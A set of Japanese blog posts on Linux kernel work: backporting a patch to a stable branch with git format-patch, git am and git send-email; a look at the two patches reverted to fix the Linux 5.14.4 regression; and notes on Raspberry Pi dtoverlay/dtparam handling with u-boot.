適当なリポジトリを作って流れを試してみる

適当にリポジトリを作って流れを見てみましょう。branchはこんな感じになっています。signed-offに使うメールアドレスや名前は~/.gitconfigとリポジトリ内の.git/configを使い分けてやってます。

masami@moon:~/test-prg$ git branch 
* main
  test-1.y

ここでこんなコミットを作ったとします。この段階ではAuthorはmasami256です。

commit e8757ffa89dc4aeb1dedec7f811b3fecaf4de75a (HEAD -> main)
Author: masami256 <masami256+test@gmail.com>
Date:   Sat Dec 11 19:43:35 2021 +0900

    Add show() to display argv
    
    Add new function show() to display argv values.
    
    Signed-off-by: masami256 <masami256+test@gmail.com>

git-format-patchでtest-1.yブランチ向けにpatchを作ります。

masami@moon:~/test-prg$ git format-patch -1 e8757ffa89dc4aeb1dedec7f811b3fecaf4de75a test-1.y 
0001-Add-show-to-display-argv.patch

できたpatchはこのようになります。

masami@moon:~/test-prg$ cat 0001-Add-show-to-display-argv.patch 
From e8757ffa89dc4aeb1dedec7f811b3fecaf4de75a Mon Sep 17 00:00:00 2001
From: masami256 <masami256+test@gmail.com>
Date: Sat, 11 Dec 2021 19:43:35 +0900
Subject: [PATCH] Add show() to display argv

Add new function show() to display argv values.

Signed-off-by: masami256 <masami256+test@gmail.com>
---
 test.c | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/test.c b/test.c
index c0e2886..704995c 100644
--- a/test.c
+++ b/test.c
@@ -1,9 +1,13 @@
 #include <stdio.h>
 
-int main(int argc, char **argv)
+void show(char **av)
 {
-       while (*argv)
-               printf("%s\n", *argv++);
+       while (*av)
+               printf("%s\n", *av++);
+}
 
+int main(int argc, char **argv)
+{
+       show(argv);
        return 0;
 }
-- 
2.33.1

ここで、patchが素直に当たらないようにtest-1.yブランチのコードを適当に変えてみましょう。こんな感じにします。

diff --git a/test.c b/test.c
index c0e2886..b36a1ab 100644
--- a/test.c
+++ b/test.c
@@ -2,8 +2,8 @@
 
 int main(int argc, char **argv)
 {
-       while (*argv)
-               printf("%s\n", *argv++);
+       for (int i = 0; i < argc; i++)
+               printf("%s\n", argv[i]);
 
        return 0;
 }

そして、test-1.yブランチから適当なブランチ(ここではtest-1.y-work)を作ってそこでgit-amを実行すると当然patchが当たらないのでエラーになります。

masami@moon:~/test-prg$ git am --reject 0001-Add-show-to-display-argv.patch
Applying: Add show() to display argv
Checking patch test.c...
error: while searching for:
#include <stdio.h>

int main(int argc, char **argv)
{
        while (*argv)
                printf("%s\n", *argv++);

        return 0;
}

error: patch failed: test.c:1
Applying patch test.c with 1 reject...
Rejected hunk #1.
Patch failed at 0001 Add show() to display argv
hint: Use 'git am --show-current-patch=diff' to see the failed patch
When you have resolved this problem, run "git am --continue".
If you prefer to skip this patch, run "git am --skip" instead.
To restore the original branch and stop patching, run "git am --abort".

--rejectオプションをつけてるので.rejファイルもできてます。

masami@moon:~/test-prg$ cat test.c.rej 
diff a/test.c b/test.c  (rejected hunks)
@@ -1,9 +1,13 @@
 #include <stdio.h>
 
-int main(int argc, char **argv)
+void show(char **av)
 {
-       while (*argv)
-               printf("%s\n", *argv++);
+       while (*av)
+               printf("%s\n", *av++);
+}
 
+int main(int argc, char **argv)
+{
+       show(argv);
        return 0;
 }

それはさておき、0001-Add-show-to-display-argv.patchを適用するようにコードを修正しましょう。。。

masami@moon:~/test-prg$ git am --continue
Applying: Add show() to display argv

コミットメッセージを修正します。

masami@moon:~/test-prg$ git commit --amend -s

こんな感じのコミットメッセージにしました。commit hashを足したのと、最下部のsigned-offは-sオプションでついたもの、その上のfix ~は自分で書いたものです。

commit 870abfd3042fb950e59c4f1ad9e156d0b68df259 (HEAD -> test-1.y-work)
Author: masami256 <masami256+test@gmail.com>
Date:   Sat Dec 11 19:43:35 2021 +0900

    Add show() to display argv
    
    commit e8757ffa89dc4aeb1dedec7f811b3fecaf4de75a upstream.
    
    Add new function show() to display argv values.
    
    Signed-off-by: masami256 <masami256+test@gmail.com>
    [fix conflict to use show()]
    Signed-off-by: Masami Ichikawa <masami256@gmail.com>

test-1.yブランチ向けにgit-format-patchでpatchを再作成します。

masami@moon:~/test-prg$ git format-patch -1 870abfd3042fb950e59c4f1ad9e156d0b68df259 test-1.y
0001-Add-show-to-display-argv.patch
masami@moon:~/test-prg$ cat 0001-Add-show-to-display-argv.patch
From 870abfd3042fb950e59c4f1ad9e156d0b68df259 Mon Sep 17 00:00:00 2001
From: masami256 <masami256+test@gmail.com>
Date: Sat, 11 Dec 2021 19:43:35 +0900
Subject: [PATCH] Add show() to display argv

commit e8757ffa89dc4aeb1dedec7f811b3fecaf4de75a upstream.

Add new function show() to display argv values.

Signed-off-by: masami256 <masami256+test@gmail.com>
[fix conflict to use show()]
Signed-off-by: Masami Ichikawa <masami256@gmail.com>
---
 test.c | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/test.c b/test.c
index 4f83ff9..704995c 100644
--- a/test.c
+++ b/test.c
@@ -1,9 +1,13 @@
 #include <stdio.h>
 
-int main(int argc, char **argv)
+void show(char **av)
 {
-       for (int i; i < argc; i++)
-               printf("%s\n", argv[i]);
+       while (*av)
+               printf("%s\n", *av++);
+}
 
+int main(int argc, char **argv)
+{
+       show(argv);
        return 0;
 }
-- 
2.33.1

これをgit-send-emailでメールします。

masami@moon:~/test-prg$ git send-email --to=masami256+test@gmail.com ./0001-Add-show-to-display-argv.patch
./0001-Add-show-to-display-argv.patch
(mbox) Adding cc: masami256 <masami256+test@gmail.com> from line 'From: masami256 <masami256+test@gmail.com>'
(body) Adding cc: masami256 <masami256+test@gmail.com> from line 'Signed-off-by: masami256 <masami256+test@gmail.com>'
(body) Adding cc: Masami Ichikawa <masami256@gmail.com> from line 'Signed-off-by: Masami Ichikawa <masami256@gmail.com>'

From: Masami Ichikawa <masami256@gmail.com>
To: masami256+test@gmail.com
Cc: Masami Ichikawa <masami256@gmail.com>
Subject: [PATCH] Add show() to display argv
Date: Sat, 11 Dec 2021 20:37:23 +0900
Message-Id: <20211211113723.79728-1-masami256@gmail.com>
X-Mailer: git-send-email 2.33.1
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit

    The Cc list above has been expanded by additional
    addresses found in the patch commit message. By default
    send-email prompts before sending whenever this occurs.
    This behavior is controlled by the sendemail.confirm
    configuration setting.

    For additional information, run 'git send-email --help'.
    To retain the current behavior, but squelch this message,
    run 'git config --global sendemail.confirm auto'.

Send this email? ([y]es|[n]o|[e]dit|[q]uit|[a]ll): 

まず、e[dit]でメールのサブジェクトを変更します。

From 870abfd3042fb950e59c4f1ad9e156d0b68df259 Mon Sep 17 00:00:00 2001
From: masami256 <masami256+test@gmail.com>
Date: Sat, 11 Dec 2021 19:43:35 +0900
Subject: [PATCH for test-1.y] Add show() to display argv

commit e8757ffa89dc4aeb1dedec7f811b3fecaf4de75a upstream.

Add new function show() to display argv values.

Signed-off-by: masami256 <masami256+test@gmail.com>
[fix conflict to use show()]
Signed-off-by: Masami Ichikawa <masami256@gmail.com>

この時点では送信するpatchのコミットメッセージはオリジナルのままです。 変更したらエディタを終了してメニューに戻ります。そして、y[es]で送信しましょう。

(mbox) Adding cc: masami256 <masami256+test@gmail.com> from line 'From: masami256 <masami256+test@gmail.com>'
(body) Adding cc: masami256 <masami256+test@gmail.com> from line 'Signed-off-by: masami256 <masami256+test@gmail.com>'
(body) Adding cc: Masami Ichikawa <masami256@gmail.com> from line 'Signed-off-by: Masami Ichikawa <masami256@gmail.com>'

From: Masami Ichikawa <masami256@gmail.com>
To: masami256+test@gmail.com
Cc: Masami Ichikawa <masami256@gmail.com>
Subject: [PATCH for test-1.y] Add show() to display argv
Date: Sat, 11 Dec 2021 20:37:24 +0900
Message-Id: <20211211113723.79728-1-masami256@gmail.com>
X-Mailer: git-send-email 2.33.1
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit

Send this email? ([y]es|[n]o|[e]dit|[q]uit|[a]ll): y
OK. Log says:
Server: smtp.gmail.com
MAIL FROM:<masami256@gmail.com>
RCPT TO:<masami256+test@gmail.com>
RCPT TO:<masami256@gmail.com>
From: Masami Ichikawa <masami256@gmail.com>
To: masami256+test@gmail.com
Cc: Masami Ichikawa <masami256@gmail.com>
Subject: [PATCH for test-1.y] Add show() to display argv
Date: Sat, 11 Dec 2021 20:37:24 +0900
Message-Id: <20211211113723.79728-1-masami256@gmail.com>
X-Mailer: git-send-email 2.33.1
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit

Result: 250 

届いたメールを確認するとこのようになっていて、Fromの行が先頭に追加され、ここはオリジナルのAuthorが設定されているのがわかります。

f:id:masami256:20211211203912p:plain
mail

ここまでの手順をstable kernelの場合も行うことになります。

メーリングリストにpatchを送る

git-format-patchでpatchが作れたらあとはメールを送るだけです。もし、バックポート対象のpatchがバックポートしたいブランチに当てるのに失敗していた場合はloreの該当メールにgit-send-emailでpatchを送る方法が書かれています。こんな感じで。なので指示の通りにメールを送りましょう。そうでない場合はmainlineにpatchを送るときと同様に必要な宛先を調べてto、ccをセットしましょう。

まとめ

この記事ではstable kernelにpatchをバックポートする流れを紹介してみました。どんなpatchをバックポートするかですが、自分は CIP Kernel Team: Helping CIP Sustain Industrial Grade Systemsのkernel teamの作業の一環として脆弱性の修正をバックポートする感じでやってます。

Linux 5.14.4のregressionがどんな感じだったのか調べる

Linux 5.14.4のリリースして同日にregressionが報告されて次の日には5.14.5がリリースされてたんですが、これがどんなバグだったのかなというのを調べたメモです。

バグ報告の内容としては5.14.4でNextcloudっていうphpのwwebアプリケーションを実行するとハングアップするということでした。このときにbisectも行われていて、[PATCH 5.14 011/334] posix-cpu-timers: Force next expiration recalc after itimer resetがbad commitというところまで判明してました。スレッドではpatchの作者さんによる修正patchを送ったよというメールもありますが、5.1.4.5では関連するpatchのrevertにて対応されています。

5.14.5でrevertされたのは2つのpatchでした。5.14.5はこのregressionの修正のみのリリースでした。

まずbad commitのほうでこれはposix-cpu-timers: Force next expiration recalc after itimer resetですね。こちらはこのようなpatchでした。

diff --git a/kernel/time/posix-cpu-timers.c b/kernel/time/posix-cpu-timers.c
index 517be7fd175e..a002685f688d 100644
--- a/kernel/time/posix-cpu-timers.c
+++ b/kernel/time/posix-cpu-timers.c
@@ -1346,8 +1346,6 @@ void set_process_cpu_timer(struct task_struct *tsk, unsigned int clkid,
            }
        }
 
-       if (!*newval)
-           return;
        *newval += now;
    }

もう一つはtime: Handle negative seconds correctly in timespec64_to_ns()です。こちらはこんな感じのpatchでした。

--- a/include/linux/time64.h
+++ b/include/linux/time64.h
@@ -25,7 +25,9 @@ struct itimerspec64 {
 #define TIME64_MIN            (-TIME64_MAX - 1)
 
 #define KTIME_MAX         ((s64)~((u64)1 << 63))
+#define KTIME_MIN          (-KTIME_MAX - 1)
 #define KTIME_SEC_MAX         (KTIME_MAX / NSEC_PER_SEC)
+#define KTIME_SEC_MIN          (KTIME_MIN / NSEC_PER_SEC)
 
 /*
  * Limits for settimeofday():
@@ -124,10 +126,13 @@ static inline bool timespec64_valid_sett
  */
 static inline s64 timespec64_to_ns(const struct timespec64 *ts)
 {
-   /* Prevent multiplication overflow */
-   if ((unsigned long long)ts->tv_sec >= KTIME_SEC_MAX)
+   /* Prevent multiplication overflow / underflow */
+   if (ts->tv_sec >= KTIME_SEC_MAX)
        return KTIME_MAX;
 
+   if (ts->tv_sec <= KTIME_SEC_MIN)
+       return KTIME_MIN;
+
    return ((s64) ts->tv_sec * NSEC_PER_SEC) + ts->tv_nsec;
 }

patchだけだとわかりにくいので全体を見てみましょう。。。まずはset_process_cpu_timer()から。revert後の5.14.5ではこんな関数です。

void set_process_cpu_timer(struct task_struct *tsk, unsigned int clkid,
               u64 *newval, u64 *oldval)
{
    u64 now, *nextevt;

    if (WARN_ON_ONCE(clkid >= CPUCLOCK_SCHED))
        return;

    nextevt = &tsk->signal->posix_cputimers.bases[clkid].nextevt;
    now = cpu_clock_sample_group(clkid, tsk, true);

    if (oldval) {
        /*
        * We are setting itimer. The *oldval is absolute and we update
        * it to be relative, *newval argument is relative and we update
        * it to be absolute.
        */
        if (*oldval) {
            if (*oldval <= now) {
                /* Just about to fire. */
                *oldval = TICK_NSEC;
            } else {
                *oldval -= now;
            }
        }

        if (!*newval)
            return;
        *newval += now;
    }

    /*
    * Update expiration cache if this is the earliest timer. CPUCLOCK_PROF
    * expiry cache is also used by RLIMIT_CPU!.
    */
    if (*newval < *nextevt)
        *nextevt = *newval;

    tick_dep_set_signal(tsk, TICK_DEP_BIT_POSIX_TIMER);
}

↓の部分がpatchが変更する箇所ですね。

     if (!*newval)
            return;
        *newval += now;

patchではif文のところを消して常にnewvalが指す値にnowの値を足すようになってます。元のコードではnewvalの指す値が0なら何もしないでreturnするんですが、patchではif文を消してるので常にその先が実行されるようになりますね。そうすると、今までは呼ばれることがなかったtick_dep_set_signal()が実行されるようになって本来送る必要のないシグナルを送ってしまうと修正patchのコミットメッセージにも書かれています。これがregressionとして現れてたんですかねぇ。

もう一つのrevertはtime: Handle negative seconds correctly in timespec64_to_ns()です。こちらの変更箇所はtimespec64_to_ns()です。これもrevert後のコードを見るとこんな感じになってます。

static inline s64 timespec64_to_ns(const struct timespec64 *ts)
{
    /* Prevent multiplication overflow */
    if ((unsigned long long)ts->tv_sec >= KTIME_SEC_MAX)
        return KTIME_MAX;

    return ((s64) ts->tv_sec * NSEC_PER_SEC) + ts->tv_nsec;
}

patchでの変更は次のようになっています。

-    /* Prevent multiplication overflow */
-   if ((unsigned long long)ts->tv_sec >= KTIME_SEC_MAX)
+   /* Prevent multiplication overflow / underflow */
+   if (ts->tv_sec >= KTIME_SEC_MAX)
        return KTIME_MAX;
 
+   if (ts->tv_sec <= KTIME_SEC_MIN)
+       return KTIME_MIN;
+

timespec64構造体のtv_secはtime64_tでこれは__s64のtypedefとなってます。ということでtv_secは符号ありの64bit整数値です。ということで、コミットメッセージにも書いてますが、もともとはs64の値をunsigned long long(64bitの符号なし整数ですね)にキャストしてチェックしているので負の整数の場合にKTIME_MAXを返すことになりますと。で、patchでは符号ありの整数としてKTIME_SEC_MAXを超えたり、KTIME_SEC_MIN以下になる場合には上限値や下限値を返す感じにしています。ここだけ見るとそうだなと思うんですが、今までと返る値が変わることによる影響もあったんでしょうか。。。

いずれにせよ、5.14.5では2つのpatchのrevertが行われてregressionが修正されたということでした。

Raspberry Piのdtoverlay・dtparam、dtbそしてブートプロセスのメモ

 はじめに

この記事はRaspberry Pi 3B+の実際の挙動と公式のドキュメントから大体こんな感じだろうというところで書いてるので正確さは期待しないでください。

下図のような構成でLinux kernel(Raspberry Pi向けのカーネルじゃなくて、mainlineとかstable treeのカーネル)を使うときにdtoverlay・dtparamを使う方法を調べたメモです。なので、自分でビルドしたカーネルを使う必要がなければRaspberry Pi OSとかmeta-raspberrypiを使うのが良いかと思います。

-> Raspberry Piのブートローダー  
  -> u-boot 
    -> Linux kernel

Linux kernel source とdtbファイル

mainlineのカーネルにはbcm2837-rpi-3-b-plus.dts等のdtsファイルがあるのでこれをビルドして使えばmainlineのカーネルでもRaspberry Piで動きます。だがしかし、config.txtでdtoverlay・dtparamを使うのはできませんでした。なんでかというと、Raspberry Piカーネルとmainlineのカーネルにあるdtsファイルを見比べるとRaspberry Piカーネルのほうにはoverridesがあって設定をoverrideできるようになってるんですね。例えばarm/boot/dts/bcm2710-rpi-3-b-plus.dtsだとこんな感じで設定があります。

/ {
    __overrides__ {
        act_led_gpio = <&act_led>,"gpios:4";
        act_led_activelow = <&act_led>,"gpios:8";
        act_led_trigger = <&act_led>,"linux,default-trigger";

        pwr_led_gpio = <&pwr_led>,"gpios:4";
        pwr_led_activelow = <&pwr_led>,"gpios:8";
        pwr_led_trigger = <&pwr_led>,"linux,default-trigger";

        eee = <&eth_phy>,"microchip,eee-enabled?";
        tx_lpi_timer = <&eth_phy>,"microchip,tx-lpi-timer:0";
        eth_led0 = <&eth_phy>,"microchip,led-modes:0";
        eth_led1 = <&eth_phy>,"microchip,led-modes:4";
        eth_downshift_after = <&eth_phy>,"microchip,downshift-after:0";
        eth_max_speed = <&eth_phy>,"max-speed:0";
    };
};

上記のブロックはmainlineのほうにはありません。そんなわけでdtoverlay・dtparamを手軽に使うならdtbファイルはブートローダーなんかと一緒に配布されてるdtbファイル(firmwareのリポジトリ)を使いましょうという感じです。

dtoverlay・dtparamはどのように処理されてるか

Raspberry Piブートローダーが自身のデバイスに合う適切なdtbファイルを読んでくれます(公式ドキュメントのどこかにそんなことが書いてありました)。そして、config.txtに記載されてるdtoverlay・dtparamの記述に沿ってメモリ上に読み込まれてるdtbファイルのデータを更新します。そしてそのメモリ上で更新したdtbファイルを使うという流れです。

u-bootをブートローダーとして使いたい場合

Raspberry Piブートローダーはすでにdtbファイルを読み込んでdtoverlay・dtparamの設定もメモリ上で反映させてます。そのため、u-bootがfatloadとかして自分でdtbファイルを読んじゃうと意味がありません。なので、config.txtでdtbファイルを読み込むアドレスを指定し、u-bootのほうはそのアドレスからdtbファイルを読む感じにします。例えばconfig.txtで下記のように読み込むアドレスを指定しておきます。

device_tree_address=0x02600000

u-bootのほうはこんな感じでfdtコマンドを使ってconfig.txtで指定したメモリアドレスを利用します。

setenv fdt_addr_r 0x02600000
fdt addr ${fdt_addr_r}

こんな感じにすればRaspberry Piブートローダーが設定したdtbファイルをu-bootから読めて、それを更にカーネルの起動に利用することができます。